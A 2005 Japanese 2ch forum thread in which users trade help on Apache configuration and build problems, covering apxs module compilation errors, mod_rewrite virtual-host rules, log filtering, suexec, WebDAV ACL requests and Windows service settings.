my $CFG_TARGET = q(httpd); # substituted via Makefile.tmpl
my $CFG_SBINDIR = q(/usr/sbin); # substituted via APACI install
/usr/sbin/apache2 が apacheの実行ファイルの本体(apache2 -l としたことから判断) なら、 $CFG_TARGET : apache2 、$CFG_SBINDIR : /usr/sbin になるんじゃないの?
my $CFG_TARGET = q(apache2); # substituted via Makefile.tmpl に変更してmakeしたら # make apxs -c mod_limitipconn.c gcc -O2 -pipe -march=i386 -mcpu=i686 -DLINUX=22 -DHAVE_SET_DUMPABLE -I/usr/include/gdbm -DMOD_SSL=208122 -DEAPI -DEAPI_MM -DUSE_EXPAT -I../lib/expat-lite -O2 -pipe -march=i386 -mcpu=i686 -fpic -DSHARED_MODULE -I/usr/include/apache -c mod_limitipconn.c mod_limitipconn.c:34:20: ap_mpm.h: そのようなファイルやディレクトリはありません mod_limitipconn.c:35:25: apr_strings.h: そのようなファイルやディレクトリはありません mod_limitipconn.c:41: error: 文法エラー before "limitipconn_module" mod_limitipconn.c:41: 警告: data definition has no type or storage class mod_limitipconn.c:47: error: 文法エラー before "apr_array_header_t" mod_limitipconn.c:47: 警告: struct や union の最後にセミコロンがありません mod_limitipconn.c:49: 警告: data definition has no type or storage class mod_limitipconn.c:51: error: 文法エラー before '}' token mod_limitipconn.c:51: 警告: data definition has no type or storage class mod_limitipconn.c:53: error: 文法エラー before '*' token mod_limitipconn.c: 関数 `limitipconn_create_dir_config' 内: mod_limitipconn.c:55: error: `cfg' undeclared (first use in this function) mod_limitipconn.c:55: error: (Each undeclared identifier is reported only once mod_limitipconn.c:55: error: for each function it appears in.) mod_limitipconn.c:55: error: 文法エラー before ')' token mod_limitipconn.c:60: error: `p' undeclared (first use in this function) mod_limitipconn.c: 関数 `limitipconn_handler' 内: mod_limitipconn.c:69: error: `cfg' undeclared (first use in this function) mod_limitipconn.c:69: error: 文法エラー before ')' token mod_limitipconn.c:70: error: request for member `module_index' in something not a structure or union mod_limitipconn.c:89: error: `worker_score' undeclared (first use in this function) mod_limitipconn.c:89: error: `ws_record' undeclared (first use in this function) mod_limitipconn.c:100: error: too many arguments to function `ap_sub_req_lookup_uri' mod_limitipconn.c:174: error: `SERVER_IDLE_KILL' undeclared (first use in this function) mod_limitipconn.c:176: error: `SERVER_CLOSING' undeclared (first use in this function) mod_limitipconn.c:184: 警告: 互換性のないポインタ型からの引数 5 個の `ap_log_rerror' を渡しますです mod_limitipconn.c: 関数 `limit_config_cmd' 内: mod_limitipconn.c:198: error: `cfg' undeclared (first use in this function) mod_limitipconn.c:198: error: 文法エラー before ')' token mod_limitipconn.c: 関数 `no_limit_config_cmd' 内: mod_limitipconn.c:216: error: `cfg' undeclared (first use in this function) mod_limitipconn.c:216: error: 文法エラー before ')' token
mod_limitipconn.c:218: 警告: 代入により、キャストなしで整数からポインタを作りました mod_limitipconn.c: 関数 `excl_limit_config_cmd' 内: mod_limitipconn.c:226: error: `cfg' undeclared (first use in this function) mod_limitipconn.c:226: error: 文法エラー before ')' token mod_limitipconn.c:228: 警告: 代入により、キャストなしで整数からポインタを作りました mod_limitipconn.c: トップレベル: mod_limitipconn.c:235: error: 初期化子の要素が定数ではありません mod_limitipconn.c:235: error: (near initialization for `limitipconn_cmds[0].name') mod_limitipconn.c:237: error: 初期化子の要素が定数ではありません mod_limitipconn.c:237: error: (near initialization for `limitipconn_cmds[0].func') mod_limitipconn.c:239: error: 初期化子の要素が定数ではありません mod_limitipconn.c:239: error: (near initialization for `limitipconn_cmds[0].cmd_data') mod_limitipconn.c:240: 警告: スカラー初期化子がブレースで囲まれています mod_limitipconn.c:240: 警告: (near initialization for `limitipconn_cmds[0].req_override') mod_limitipconn.c:240: 警告: 初期化により、キャストなしでポインタから整数を作りました mod_limitipconn.c:241: error: 初期化子の要素が定数ではありません mod_limitipconn.c:241: error: (near initialization for `limitipconn_cmds[0]') mod_limitipconn.c:244: error: 文法エラー before '*' token mod_limitipconn.c: 関数 `limitipconn_init' 内: mod_limitipconn.c:246: error: `s' undeclared (first use in this function) mod_limitipconn.c:248: error: `AP_MPMQ_HARD_LIMIT_THREADS' undeclared (first use in this function) mod_limitipconn.c:249: error: `AP_MPMQ_HARD_LIMIT_DAEMONS' undeclared (first use in this function) mod_limitipconn.c: トップレベル: mod_limitipconn.c:253: error: 文法エラー before '*' token mod_limitipconn.c: 関数 `register_hooks' 内: mod_limitipconn.c:255: error: `APR_HOOK_MIDDLE' undeclared (first use in this function) mod_limitipconn.c: トップレベル: mod_limitipconn.c:259: error: 文法エラー before "limitipconn_module" mod_limitipconn.c:260: error: `STANDARD20_MODULE_STUFF' undeclared here (not in a function) mod_limitipconn.c:260: error: 初期化子の要素が定数ではありません mod_limitipconn.c:260: error: (near initialization for `limitipconn_module') mod_limitipconn.c:261: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:261: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:262: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:262: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:263: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:263: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:264: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:264: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:265: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:265: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:267: 警告: スカラー初期化子内の要素が多すぎます mod_limitipconn.c:267: 警告: (`limitipconn_module' の初期化は不完全です) mod_limitipconn.c:267: 警告: data definition has no type or storage class apxs:Break: Command failed with rc=1 make: *** [mod_limitipconn.so] エラー 1 こんな感じです。
おちつけボーイ。 コピーマシーンじゃないのだから出力をコピーするだけじゃなく内容を検討してみよう。 >mod_limitipconn.c:34:20: ap_mpm.h: そのようなファイルやディレクトリはありません 最初の頃に出ていた apxs:Warning: /usr/sbin/httpd not found or not executable と似たような内容 (ありません | not found) だが、こいつは gcc(コンパイラ)がコンパイル作業する時に ap_mpm.hファイルが見つからなかったというメッセージだ。 mod_limitipconn.cの中を見てみると34行目に #include "ap_mpm.h" という行がある。 これはC言語の命令で この場所にap_mpm.hというファイルを代入するという意味を持つ。 そのファイルが見つからないのでゴネてるわけだ。 コンパイル時に includeするファイルを探すディレクトリ名は、gcc -I(ディレクトリ名) の形で指定することになっている。 出力結果に gcc -O2 〜 -I/usr/inlcude/apache とあるので、 /usr/include/apache を指定したことになってるわけだな。 ここでapxsファイルを見直してみると、$CFG_INCLUDEDIRに/usr/include/apache したのが gccの -I に現れてきているわけだ。 やるべきことはもう分かったな。 ap_mpm.hがあるディレクトリを$CFG_INCLUDEDIRに設定すればいい事になる。
find / ap_mpm.h で検索したけど見つからない・・・。・゚・(ノД`)・゚・。 ウワーン
あれ?コマンドおかしい?
498 :
DNS未登録さん :2005/04/16(土) 15:43:49 ID:B8phc/3D
僕の肛門も不正中継されそうです。
# find / -name ap_mpm.h やっぱり見つからない。。。。別にインストール必要??
apt-get install apache-devel じゃなくて apt-get install apache2-devel だったのね・・・
で?
502 :
DNS未登録さん :2005/04/16(土) 20:20:53 ID:d38B6/Xr
>>453 もしかして、
ScriptAlias /cgi-bin/ /var/www/cgi-bin/
を指定してるんじゃない?これなくせば最初から書いてある
DirectoryIndex index.html
だけで/var/www/cgi-bin/index.htmlが表示されると思う。
ただ/var/www/cgi-bin/のセキュリティとのトレードオフ。
スクリプトエイリアスをそのままにするのだったらディレクトリインデックスに
index.cgiかなんか付け足してそんな名前のスクリプトを書いちゃうとか。
>>503 ・httpd.confの文法の問題。
・エラー内容をちゃんと書くように。
で?
>>508 mod_rewrite使えばできるよ。
Apache 2.1.3βて どうですか? OSはFedra3 archはathlon-xp、シングルで1.5GHz駆動です メモリは1280MB Athlon-xp最適化rpm作って入れました httpd.workerで走らせてます apr1も最適化rpmです 最初rpmbuildが通らなかったので tarball解いてからディレクトリ名から-betaを除いて固め直したら上手くいきました アプローダ一年二か月程やってますが Win2003rc2が一年でLin鯖はまだ二か月程の初心者βフェチ、AMD厨です 今日limitipconn入れてとりあえず期待通り動くようにはなりました
・・・・・
しかもトップページはphpです 書いてて worker MPM使っている自分がアホな気がしてきました シングルathlon+phpならprefork有利? P4でHT有効、更にP4最適化掛けたらphpでもworker有利かな? どうでしょう? ちなみにアプロダはcgi-perl で負荷的にはこっちの方が不安です
・・・・・
はいはいくまー
そんなえs(ry
==========================以下何事も無かったかのように続行===========================
というか アパッチ2.1試した人柱さん居ます?
Shimizuさん?
521 :
DNS未登録さん :2005/04/19(火) 23:45:31 ID:vstm5AaG
Apache2でドキュメントルートとサーバールートを/home/userにして起動してアクセスしてみたら、403しかでないという状態になってしまいました。。。 エラーログには (13)Permission denied: /home/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable と表示されます ホームには.htascessのファイルはおいてない(きちんと確認しました)んですけど、 どういったことが原因として考えられるんでしょうか?
>ドキュメントルートとサーバールートを/home/userにして とりあえずマニュアル読破して出直してこい
523 :
DNS未登録さん :2005/04/22(金) 08:37:17 ID:6tLvq/YF
cygwinでインスコしようと 展開して、./configureしたところ、以下のエラーがでて、何が原因かわかりません。OSは XP sp1です ======== Error Output for sanity check ======== cd ..; gcc -DCYGWIN -DUSE_HSREGEX -DUSE_EXPAT -I./lib/expat-lite -DNO_DL_NEEDED `./apaci` -o helpers/dummy helpers/dummy.c -lcrypt -lgdbm /usr/lib/gcc-lib/i686-pc-cygwin/3.3.1/../../../../i686-pc-cygwin/bin/ld: cannot find -lcrypt collect2: ld returned 1 exit status make: *** [dummy] Error 1 ============= End of Error Report ============= Aborting!!
書いてあるとおり。libcrypt がない。
Windows2000+Apache1.3.33です クエリーが無い時は、環境変数QUERY_STRING=NULLではなく QUERY_STRINGが存在しない状態にしたいのですが、 何かいい方法はないでしょうか UnsetEnvをためしてみましたがWindowsでは使えないみたいです
>>527 失礼しました。
IISからApacheに移行することになったのですが、
C言語で作ったCGIがクエリーが無い時エラーになってしまうんですよ
原因はクエリーが無い時、IISはQUERY_STRINGは存在しないのですが、
Apacheの場合QUERY_STRING='\0'を設定するためでした
クエリーの有る無しにはこんな判定をしています
char *p_Query;
p_Query = getenv("QUERY_STRING");
if (p_Query == NULL) { //現行。IISでは問題無いが、Apacheではここで誤判定(クエリーがあると判断する)
//if (*pQuery == '\0') { //Apacheでは正しく判定できる
//クエリーが無い時の処理
ソース修正は直す箇所が多いので、できればApacheの方で直したいと考えているのですが
>>528 Cの知識がある程度あるのなら、wrapper CGIを作ればいいじゃない。
(便宜上空白は全角にしてるのでコピペする場合は注意)
main()
{
char unsigned *QS = "QUERY_STRING";
if (getenv(QS)) {
if (strlen(getenv(QS)) < 1) unsetenv(QS);
}
execl("/path/to/real.cgi", "real.cgi", (char *)NULL);
}
これでうまくいかないか?
ちなみに上記のソースはBSDLとして公開するので好きに使え。
530 :
DNS未登録さん :2005/04/23(土) 22:09:18 ID:u8lLvO92
apache2でUserDirをsuexec付きで運用しているんですが、 www.hoge.com/~userをvirtualhostでuser.hoge.comからアクセスできるようにしたところ、 ~userでアクセスしたときはちゃんとsuexecが有効になっているのですが、 user.hoge.comでアクセスしたときにはsuexecが効かずスクリプトがapache権限で実行されてしまいます。 んで、VirtualHostのSuexecUserGroupディレクティブでユーザーとグループを指定したところ、 今度はスクリプトファイルがDocumentRootの下にないと怒られてしまいます。 これってapacheをコンパイルしなおすしかないですか? 何かうまい方法は無いでしょうか? UserDir以下でHPを公開している人は複数人いるんですが、とりあえずはそのうちの一人だけをVirtualHostでアクセスできるようにしたいのです。
533 :
DNS未登録さん :2005/04/24(日) 00:47:16 ID:qjJj++yW
Server version: Apache/2.0.53 プライベートネットからのアクセスとgifなどのログを 吐かないようにしたんだけど相変わらずログを吐いてしまい うまくいきません。なにが悪いのでしょうか? NameVirtualHost 192.168.0.1:80 <VirtualHost 192.168.0.1:80> ServerAdmin root@localhost ServerName www.local.net DocumentRoot /var/www/html SetEnvIf Remote_Addr 192.168.0 no_log SetEnvIf Request_URI "\.(gif)|(jpg)|(png)|(js)|(css)$" nolog ErrorLog /var/log/httpd/error_log.vtl CustomLog /var/log/httpd/access_log.vtl common </VirtualHost>
>>533 Request_URIの行では \. と正規表現を意識した書き方になっているのに対し、
Remote_Addrの行ではそれが考慮されていないため。
535 :
534 :2005/04/24(日) 01:01:04 ID:???
あー。それ以前の問題なのか。 nologの条件を反映させるための指定が無い。 CustomLog /var/log/httpd/access_log.vtl common env=!nologだな。
no_logとnologはどっちかにしたほうがよくね? 別にどっちでもいいけど。
537 :
DNS未登録さん :2005/04/24(日) 01:21:10 ID:qjJj++yW
うはwwwww
みなさん、Apacheを使ってて 一番安定してるなー って思ったバージョンなんでつか? 漏れの鯖は、Apache/1.3.28 使ってるんだけど さすがにもう古いですよね? でも安定しているのがホスィ......
>>539 何使ってても変わらない気がする俺は万年素人。
541 :
539 :2005/04/24(日) 09:48:26 ID:qx0GdZID
最新バージョンが安定してるのかな? っでも、そうとも限らないとか?.....orz
>>541 あなたのいう安定してないバージョンはどんな挙動だったんですか?
試用しているOSも教えてください。
てかApache1ともなると細かいセキュリティフィックスばかりで 十分安定してると思うけど。 俺のお薦めは、DSOを排除して、必要なモジュールだけを静的リンクすること。 これだけで安定性がぐっと向上する。
544 :
539 :2005/04/24(日) 15:23:24 ID:???
>>542 > あなたのいう安定してないバージョンはどんな挙動だったんですか?
というか、古すぎるって友達から言われたんで...(Apache/1.3.28)
OSは、Linuxです(自宅サーバは...)
545 :
539 :2005/04/24(日) 15:31:58 ID:???
Linux ----> Vine Linux
547 :
539 :2005/04/24(日) 15:59:17 ID:???
548 :
DNS未登録さん :2005/04/24(日) 16:48:39 ID:5pWHUkUw
インストールが終わり、いよいよapache を起動しようとしたんですが、 バッシュを起動したらルートディレクトリが cygwin/home/administrater/ になってて cygwin/usr/bin/〜に移動としても見えませんでした。 変更の仕方がわかりません、どのように変更すればよいのでしょうか
バッチファイル変更したらいけました @echo off L: chdir L:\cygwin\bin set HOME=/usr/local bash --login -i
┐(´ー`)┌
mod_rewriteが動かないウワァーン fedora core2でapache2です。 /etc/httpd/conf/httpd.conf の LoadModule rewrite_なんちゃら はコメントアウトされてます。 これで、/etc/httpd/conf.d に rewrite.confを作って、 RewriteEngine on RewriteLog /var/log/httpd/rewrite_log RewriteLogLevel 9 RewriteRule ... で書いても全然何もおきてくれないんですけど、 /var/log/httpd/rewrite_logはapacheを再起動したときにちゃんと作成されるんで moduleのロードはできてると思うんですけど、書いたルールがどれも実行されないし rewrite_logは何をどうやってもずっと0byte・・なんで・・・ 何か動いてることを確認するための簡単なルールって無いでしょうか。
552 :
551 :2005/04/24(日) 21:17:31 ID:???
553 :
551=530 :2005/04/25(月) 00:46:05 ID:3lF0gzJa
大体予想通りの操作ができるようになりました。
とりあえず、/home/hoge/public_html以下を
www.hoge.dokka.comからアクセスできるようにしました。
VirtualHostの設定を全てきって、mod_rewriteを使って
RewriteCond %{HTTP_HOST} ^www\.[^.]+\.dokka\.com$
RewriteRule ^(.+) %{HTTP_HOST}$1
RewriteRule ^www\.([^.]+)\.dokka\.com(.*) /~$1$2 [PT]
コレでめでたしめでたし・・と思ったらまた問題が・・ナンナンダヨー
http://www.dokka.com/~hoge からはアクセス可能なのに、
http://www.hoge.dokka.com とやると、その下のファイル名まで指定してやらないとアクセスできないんです。
http://www.hoge.dokka.com/index.htmlだとアクセスできます 。
でもなんでindex.htmlがないとだめなんでしょう?
出るエラーは403 forbiddenです。
エラーログには、
Directory Index Forbidden by rule : /home/hoge/public_html/
となってます。
DirectoryIndexが.htaccessでオーバーライドされてないのかと思い(hogeのpublic_html下はindex.cgiがトップなのですが、
.htaccessでDirectoryIndex index.cgi指定してる)
/home/hoge/public_html/index.htmlを作ってみたけど403forbiddenでした。
httpd.confで<Directory /home/*/public_html>内で、
options Indexesを指定してやると、www.hoge.dokka.com/からアクセスするとディレクトリの一覧が表示されます。
どなたか知恵を貸してくださいませ。
554 :
526 :2005/04/25(月) 16:55:44 ID:???
>>529 無理そうです
何もしない状態だとQUERY_STRINGを消すことはできたのですが、
(VC++のためunsetenvの代わりに_putenv("QUERY_STRING=")を使いました)
execlでリダイレクトをかけると、遷移先のCGIでなぜか消したはずのQUERY_STRINGが復活してしまいます。
あきらめてソースを修正することにしました
ありがとうございました
やっとデケター!!!!以下事後報告。
今後同じような人がいた時のために。
RewriteCond %{HTTP_HOST} ^www\.[^.]+\.dokka\.com$
RewriteRule ^(.+) %{HTTP_HOST}$1
RewriteRule ^www\.([^.]+)\.dokka\.com(.*) /~$1$2 [PT]
このルールだと、
ttp://www.hoge.dokka.com にアクセスしたとき、Apache内部で
ttp://www.hoge.dokka.com/[DirectoryIndexにあげられてるファイル] へ自動的にアクセスしようとし、
そのときに再びRewriteEnginが有効になりRewriteCondがマッチしてしまって、
結果的に/~hoge/~hoge/[DirectoryIndex略]へアクセスしようとしているのでした。
ルールをちょっと書き換え、
RewriteCond %{HTTP_HOST} ^www\.([^.]+)\.dokka\.com$
RewriteCond %{REQUEST_URI} !^/~[^.]+
RewriteRule ^(.*) /~%1$1 [PT]
これででうまくいくようになりました。
ttp://www.hoge.dokka.com/~hoge/index.html というリクエストがきた場合、
URIの部分(=/~hoge/index.html)が/~から始まってる場合は書き換え処理をしないようにして何とかなりました。
ついに悪夢から開放された・・・・
今度はwww.hoge.dokka.comからDirectoryIndexを使ったときにアイコンの参照先が/iconになってて全部バッテンに。
コレをなんとかせねば。
OS: Miracle Linux 3.0 Apache: 2.0.46 にて、WebDAV(-ACL) の ACL メソッドを自作のサーブレットに渡そうと(コンテナは Tomcat5.0.28 です)しているのですが、ACL メソッドにリクエストボディを付けると Apache 側で撥ねられているようで以下のようなレスポンスが返ってしまいます。 ======== response ======== 413 Request Entity Too Large The requested resource does not allow request data with ACL requests, or the amount of data provided in the request exceeds the capacity limit. リクエストは以下のようなものでした。(リクエストボディの内容はあまり 本質的でない気がしますが、念のため記述します。長文申し訳ありません。 なお、便宜的に改行していますが、実際は改行無しで流し込んでいます) ======= request ======= ACL /~foo/bar/baz HTTP/1.1 Host: qux.example.com content-type:text/xml connection:close authorization:Basic ********* Content-Length:210 <?xml version="1.0" encoding="UTF-8"?> <D:acl xmlns:D="DAV:"> <D:ace> <D:principal><D:all/></D:principal> <D:grant> <D:privilege><D:read/></D:privilege> <D:privilege><D:write/></D:privilege> </D:grant> </D:ace> </D:acl> ACL メソッドに関して、リクエストボディ自体 or 長さを制限する 設定項目があるのだろうと思ったのですが、どうにも見つけられませんでした。 どちらの設定か、ポインタだけでも教えて頂けませんでしょうか?
あ、なお、ACL を解釈させるのは自作のサーブレット側なので、 mod_dav は外しています。 mod_dav では LimitXMLRequestBody ディレクティブなどがあるようで まさに当たりっぽいのですが(しかしデフォルトで 1MB. そもそも WebDAV ACL は無理?)。 恐らく、特定のメソッドにおけるリクエストボディの許可/不許可、 加えてサイズに関する設定(今回小さいですので、前者という気がしていますが) があるのではないかと考えているのですが...
自己解決しました。Tomcat-Apache の連携を jk で行っていましたが、 使用している jk の ajp13 通信において ACL をサポートしていない バージョンだったようです。失礼しました。
559 :
DNS未登録さん :2005/04/29(金) 23:47:14 ID:5TemfF1j
質問なのですが…… 数千のデータからなるサイトをリニューアルせねばならなくなりました。 現状ではExcelでVB組んで全部のページを生成する、という方法なのであまりにも効率が悪い。 そこでMySQLにでもデータを入れて、そこからデータを引き出す形にしたいと思います。 その際、例えばPHPで組むとして、www.com/zzz/database.php?id=001 のような形にせず、 www.com/zzz/001.php と、一見するとデータベースを使っていない感じに見せたいのですが、 こういう形から実際にはCGIにデータを渡してデータベースにアクセスする というような方法はありますでしょうか?
>>559 JavaScriptを使って裏でPOSTすればいいのでは?
(ASP.NETで使われてる技だったりする。)
あ、ここApacheのスレじゃん スレ違いじゃん。答えて損した
apacheスレらしく、mod_rewriteやPATH_INFOで。
>>560 ああああ、そういえばそうですね!
専ブラ使ってるとURL気にしなくなるもので。。。
いえ、スレ違いとも思えたのですが、Apacheの設定如何でなんとかできる
ものなのかしらと思いまして。2ちゃん式BBSでも探って調べてみます。
どもども。
565 :
DNS未登録さん :2005/04/30(土) 09:39:15 ID:sCNeylnl
おしえてください エラーログに httpd in free(): warning: junk pointer, too high to make sense って 出てんですが、これってなんでしょう? 環境は FreeBSD4.11 + Apche 1.3.33 + MySQL 4.1.10 です。 よろしくおねがいします。
>>565 warningなんて気にするレベルではない
567 :
DNS未登録さん :2005/04/30(土) 23:16:08 ID:lgOQZeIt
Apache2の最新版で構築しました。一通り設定が終わってCGIも動作するようになったんですが Movable Typeのmt-check.cgiを動かそうとすると500エラーを吐いて動きません。 あぱちぇのエラーログによると、line 144, near "[ 'Image::Size"や Unrecognized characterというログを吐いていました。 クリーンインストールしたあぱちぇ1.3だと普通に動くので、どこを間違えたのか・・・ ヒントでもいいので、助言おながいしまつ
構文変なんじゃない? としか。
569 :
567 :2005/05/01(日) 01:31:53 ID:???
>>568 ありがd。そうなんだよな・・・なぜApache2だけダメなのかorz
>>567 スクリプトに全角文字入れてしまったとか改行コード間違えてアップしてるとかじゃないの?
571 :
DNS未登録さん :2005/05/01(日) 11:27:46 ID:zE7oAHvl
>571 px.a8.netさんマルチ広告乙
573 :
ラブ天使 :2005/05/01(日) 14:14:21 ID:6OOE8vuo
他に誤爆してしまって改めてこちらで質問させてください。 debian/sargeでapache2系でperlを動かそうとしています。 apache2.confファイル等を見ていますが、 permissionエラーと表示されてエラーログにはExecCGI is off in this directory:と表示されます。 どこの設定をいじればいいのか調べてみたのですがわかりませんでしたので教えていただけないでしょうか? 1の公式サイトなどはみてみたのですがいまいちわかりませんでした。
permissionっていうものが何なのかを調べる。 ExecCGIってのが何なのかを調べる。 そうすれば、設定をいじるとかそういう問題ではなく、 サーバをどういうポリシー(更に細かく言うと、どういうファイル配置)で運営していくつもりなのかという 根本的な事を問われている事に気づくであろう。
>>575 うーん、ありがとうございます。
もちろんpermissionはきちんと実行権限は持たせているはずです。
ただExecCGIについてはわかっていません。apache2.confで設定するのだと思われますが・・・
ありがとうございます。
もう少し調べてみます。
あと、どうせ個人で動かしてみたいだけなので動けばいいや的な考えだったのですがもうちょい丁寧にやってみますね。
すいません、ここで質問よろしいでしょうか? 今まで使っていた自作のフォルダ選択ダイアログCGI(ローカル専用)を Apacheで動かそうとしているのですがうまく行かなくて途方に暮れています。 環境 WinXP sp2 Apache 2.0.54 Python 2.3 VC.net Python で作成した CGIは VC++ で作成した拡張モジュールDLLをインポートしています。 Python CGI から DLL をインポートしての動作は問題無いのですが どうやら Win32API の SHBrowseForFolder(Shell関数) を呼んだ所で止まっているみたいです。 動かす方法をご存知の方いましたら よろしくお願いします。 なお AnHTTPd 1.42n では問題無く動作しています。
>>577 そりゃサービス動作させてるプロセスはデスクトップハンドルを持たないから
シェル系のAPIは全滅するでしょ。
579 :
577 :2005/05/01(日) 23:31:07 ID:???
>>578 素人なもんですんません。
なるほど確かに AnHTTPd をサービス動作してみたら警告ダイアログが出ますね。
OKすれば、その後にフォルダ参照ダイアログは一応出ますが・・・。
となると、Apacheサービス動作でフォルダ参照ダイアログを出す方法を考えないと行けませんね。
JavaScript の BrowseForFolder も同じ原因か、うまく動作しないし。
他に方法がありましたらよろしくお願いします。
580 :
577 :2005/05/02(月) 00:14:13 ID:???
>>578 解決しました!
サービス>Apache2>ログオンのタブに
「デスクトップとの対話をサービスに許可」
というチェックボックスがありました。
これでサービス動作のプロセスがデスクトップハンドルを持つようになり
シェル系のAPIが使えます。
どうやら見当違いな所を調べていたようです。
ありがとうございました。
581 :
ほげーん :2005/05/03(火) 01:59:03 ID:54aOyXmr
バーチャルホストを使ってApacheを運用しているのですが、 ~ユーザ名でのアクセスを禁止し、バーチャルホストでのみアクセスさせたいのですが どのように設定すればよいのでしょうか?
583 :
ほげーん :2005/05/03(火) 02:41:22 ID:54aOyXmr
apache_1.3.33をインストールしたんだけどサービス起動してlocalhostを表示したら何故か powered by apache2.0のロゴが…。 @fedora3ですがこれは2.0が動いてしまっているんでしょうか? ちなみにlocate httpd.conf結果は/etc/httpd/conf/httpd.confしかなく、 locate apacheした結果も/usr/local/src/apache_1.3.33以下しか検出しないんですが何故か ロゴだけだけが2.0です。
586 :
584 :2005/05/06(金) 16:54:31 ID:???
>>584 おお、アタマイイ!早速実行したんですが
ServerSignature Onにして再起動した後なのにフッタがでない。
orz
他にフッタ抑制するディレクティブありましたっけ?
ServerTokens とか
588 :
584 :2005/05/06(金) 17:13:49 ID:???
>>587 ServerTokens Full
で表示来ました。が、何故かApache/2.0.52
ちがうapacheをもってきちゃったにしちゃあ
/usr/local/src/apache_1.3.33
ってなってんだけどなぁ。
どーもありがとう、もう一度ソース落とし直してきます。
おつw しかし、再起動できる=起動スクリプトが確定してるなら apachectrl -v でもよかったのでは、、まあブラウザ経由が確実か
[シナリオ 1] ・あらすじ 2.0と1.3の両方がインストール済み。起動スクリプトが2.0を呼び出している。 ・内容 既に2.0がインストールされている状態からシナリオ開始。 locateの最後のupdate前に1.3をDL&解凍。 2.0とは違うディレクトリに1.3をコンパイル&インストール サービスの設定スクリプトには手を加えず。
591 :
584 :2005/05/06(金) 17:45:00 ID:???
>>ぐは、でもapachectrlってナンディスカ? 再起動は/etc/rc.d/init.d/httpd restart でしてました。 ちらっとググッただけですがapachectrlも 同じ様にstart等のオプションを与えてコントロールするみたいですね。エイリアスなのかな? でももうrm -Rfしちゃった。
592 :
DNS未登録さん :2005/05/06(金) 18:01:40 ID:qtrRWBv2
Fedoraってインスコ時にweb鯖導入を選択するとApache2が入るんだけどね で、それを忘れてApache1をインスコしようとしているだけのような・・・
593 :
584 :2005/05/06(金) 18:12:58 ID:???
>>592 「web鯖」、選択してました。
apache2とかいう名前で入りますかね?
一応Apache1入れる前にupdatedbしてからlocate apacheしたつもりなんですが…。
でも確かにApache2消した覚えもないから皆さんおっしゃるように2つ入っちゃてるのかな?
apacheをソースで展開して、config.layoutの中身みるといいよ RedHatno項目は、 /var/www とか、/etc/httpd とか、/usr/lib の下に分散してる
596 :
584 :2005/05/06(金) 18:34:49 ID:???
>>594 when no --with-layout option is given, the default layout is `Apache'(config.layoutの文頭)
のつもりなんで以下が該当すると思うんですが。
<Layout Apache>
prefix: /usr/local/apache
exec_prefix: $prefix
bindir: $exec_prefix/bin
sbindir: $exec_prefix/bin
libexecdir: $exec_prefix/libexec
mandir: $prefix/man
sysconfdir: $prefix/conf
datadir: $prefix
iconsdir: $datadir/icons
htdocsdir: $datadir/htdocs
manualdir: $htdocsdir/manual
cgidir: $datadir/cgi-bin
includedir: $prefix/include
localstatedir: $prefix
runtimedir: $localstatedir/logs
logfiledir: $localstatedir/logs
proxycachedir: $localstatedir/proxy
</Layout>
これであれば(さっき消しちゃったけど)/usr/local/apacheだそうなんでおkっぽいんですが…。
とりあえずコンフィグとmakeとinstallしてきます。
>>596 いやいや、OSインストール時に入ってるApacheのレイアウトですよん
>>595 httpd.conf の Location とか Alias
599 :
584 :2005/05/06(金) 18:42:33 ID:???
>>597 んー、Apache1.3.3のdir消してから
updatedb→locate apacheしたんですがapache2らしきものも、config.layoutも
発見できずでした。
>>599 ん、、、そうなんだけど
>>594 見てもらえばわかるとおり、apacheの文字無いんだわ
601 :
584 :2005/05/06(金) 18:51:49 ID:???
>>600 すいません、意味がわかっていませんでした。
今みたら/var/www下にhtmlとかありました。
中身確認していらなそうなら消してからもう一度入れ直してみます。
即レス助かりました。
602 :
DNS未登録さん :2005/05/06(金) 19:34:22 ID:ika5wzZj
>>601 遅いと思うけど
rpm -qa | grep http
をやってみよう
httpd-2.〜
と出てくればApache2が既にはいっているよ
604 :
DNS未登録さん :2005/05/06(金) 20:02:44 ID:O/F6mwEi
ttp://ttp4.ttp.dlenet.com/ wwwwwwwwwうぇwwwwwwwwwwwwうはっ
っwwwwwwwwwwwwっうはっうぇwwwwww
おkwwwwwwwwwwwwwwwwwwwwwwwww
うぇおkうはっうぇっwwwwwwwっうはっ
w
605 :
DNS未登録さん :2005/05/06(金) 21:11:10 ID:eLZDBOHB
現在、Windows NT4.0+Apache2.0.54で運用しているのですが、 errorlogに >winnt_accept: Asynchronous AcceptEx failed. といった Warningメッセージが多数記録されていました、簡単に検索してみたところ、 どうもWinSockの問題らしく、mpm_winnt.cディレクティブを下記の様に変更しました <IfModule mpm_winnt.c> ThreadsPerChild 384 MaxRequestsPerChild 0 Win32DisableAcceptEx ←を追加 </IfModule> サービスを再起動してみると、あの気になるエラーは解消されていたのですが、 今度はメモリをかなり消費するようになってしまいました。 酷いときにはページファイル一杯(仮想を使い切ります)な状態です。 この現象を回避する手段をご存知の方、ご教授頂けば幸いです。
WindoxsXP/Apache1.3 です。 ローカルに複数のドキュメントルートを設定したいのですが、どのようにしたら良いでしょうか?
>>606 それぞれのドキュメントルートへはどうやってアクセスするつもりなんだ?
>>609 NameVirtualHost 192.168.2.31
<VirtualHost *:80>
DocumentRoot C:/home2
ServerName test2.localhost
</VirtualHost>
こんな感じにしてみましたが、だめでした。
どうだめだった? いま携帯なんで細かく書けないが それでいけるはず その名前でアクセスできるのか? 無理ならhostsに書いてしまう手もあるが
あ、ちょっと気がついたが *はだめだった気がする ちゃんとアドレス全部書いてみな
NameVirtualHost 192.168.2.31
<VirtualHost 192.168.2.31:80>
DocumentRoot C:/home2
ServerName test2.localhost
</VirtualHost>
こうしてみましたが、
http://test2.localhost/ にアクセスすると、
「ページを表示できません
サーバーが見つからないか、DNS エラーです。
Internet Explorer 」
が出ます。
>>613 当たり前。
大体test2.localhostで192.168.2.31が引けないとつながらねえだろ。
